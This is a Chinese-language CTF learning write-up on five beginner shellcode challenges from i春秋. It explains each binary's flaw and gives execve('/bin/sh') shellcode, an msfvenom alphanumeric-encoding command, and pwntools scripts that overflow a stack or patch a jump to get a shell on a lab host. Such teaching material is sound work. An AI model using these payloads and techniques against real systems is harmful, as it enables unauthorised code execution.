shellcode入门练习

reference:https://bbs.ichunqiu.com/thread-42285-1-1.html

以下习题来自i春秋的学习资源

1、tyro_shellcode1

运行程序,输出一个mmp内存地址,然后等待用户输入。看源码知道是用read函数接受用户输入并把输入的东西作为函数执行

程序代码部分截图

于是输入shellcode到v4然后让程序执行即可获取shell然后再拿到flag,由于代码中read的长度是0x20个字节,所以shellcode长度不能超过32。

shellcode='\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
shellcode在程序中被执行

2、b_64_b_tuff

阅读代码,知道程序会对用户输入进行base64编码,然后再执行,也就是我们输入的必须是shellcode解码后的内容,但是能被base64解码的只能是0-9,a-z,A-Z,+/=,因此需要对shellcode进行编码使其可被base64解码

python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux  

payload文件的内容:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIdqiYkGkQx0FkBqu8toToRSsX0hToSRSYBNMYJChMopAA

exp如下

from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
shellcode=b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode)
io.interactive()

3、pilot

运行程序,提供了一个地址,阅读代码知道这个地址是buf的地址,程序通过read把输入存到buf里面,read限制接收0x40个字节

代码部分截图

buf的起止地址和栈中保存的rbp相差0x20个字节,和rip差0x28个字节

所以本题可以通过栈溢出劫持rip到我们的shellcode,shellcode所在的地址(即buf的地址)已经被输出

io = remote('172.17.0.2', 10001)
io.recvuntil("Location:")
address = int(io.recv()[0:14], 16)
shellcode='\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
exp=shellcode+'\x90'*(0x28-len(shellcode))+p64(address)
io.sendline(exp)
io.interactive()

注:本题在i春秋的原版文章用的是另外一个shellcode,由于那个shellcode在执行过程中会因为shellcode中的push操作导致shellcode被修改,所以那个shellcode必须截成两端执行。我采用了一个较短的shellcode,规避了这个问题。

4、pwn1

代码很短,只是scanf一个数保存到v4,v4在栈中和rbp相差0x10字节,和rip相差0x18个字节

代码截图

在上题中我的shellcode正好就是是0x18个字节,可以完全覆盖v4到rbp这24字节。shellcode开始执行后,栈中状态如下:

我的shellcode中有一步push操作(见下图push rbx)

shellcode汇编形态

而我的shellcode 和rsp之间刚有一个8字节的空间(上图两个红框之间)可以用来保存这个push,同时shellcode不被篡改

io=remote('172.17.0.2',10001)
address=int(io.recv(),16)
shellcode='\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
io.sendline(shellcode+p64(address))
io.interactive()

注:i春秋的学习资料提供的方法是把shellcode写在rip下面,并把rip劫持到这个位置。

5、apprentice_www

阅读代码可知,程序用v1,v2需要接受用户输入两个数字。v1用来scanf一个地址,并且这个地址的数据可以被用户输入的v2改写

代码部分截图

显示我们想用v2来输入shellcode,但是v2每次只改写一个字节,所以必须设法让程序执行多次scanf,所以第一步就要修改jnz short loc_80485E9,让他跳转到0x0804859D,重复执行scanf

跳转代码截图

jnz的机器码是0x75(地址:0x080485D9),0x0E(地址:0x080485DA)表示向后跳14个字节。要修改jnz的位置,就要修改 0x080485DA 的值,所以v1要输入0x080485DA 。由于我要跳转的位置是0x0804859d

0x0804859d – 0x080485db = 0xc2,所以v2就是0xc2。至此,我就可以循环调用scanf输入shellcode

成功修改

后面输入shellcode的原理与以上类似,我把shellcode放到以0x080485db为起始地址的位置。输完shellcode后,还是让v1输入存0x080485da,v2输入0,此时v1保存的地址没啥实际意义,关键是v2要为0,才能保证程序不会跳到jnz指向的地方而是去执行我的shellcode

from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
patch_jne_address = 0x080485da        #jnz loc_80485E9所在地址
shellcode_address = 0x080485db        #shellcode放置的地址 
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
io.sendline(str(patch_jne_address))
io.sendline(str(0xc2))
for i in xrange(len(shellcode)):
    io.sendline(str(shellcode_address+i))
    io.sendline(str(ord(shellcode[i]))) 
io.sendline(str(patch_jne_address))
io.sendline(str(0x00))
io.recv()
io.interactive()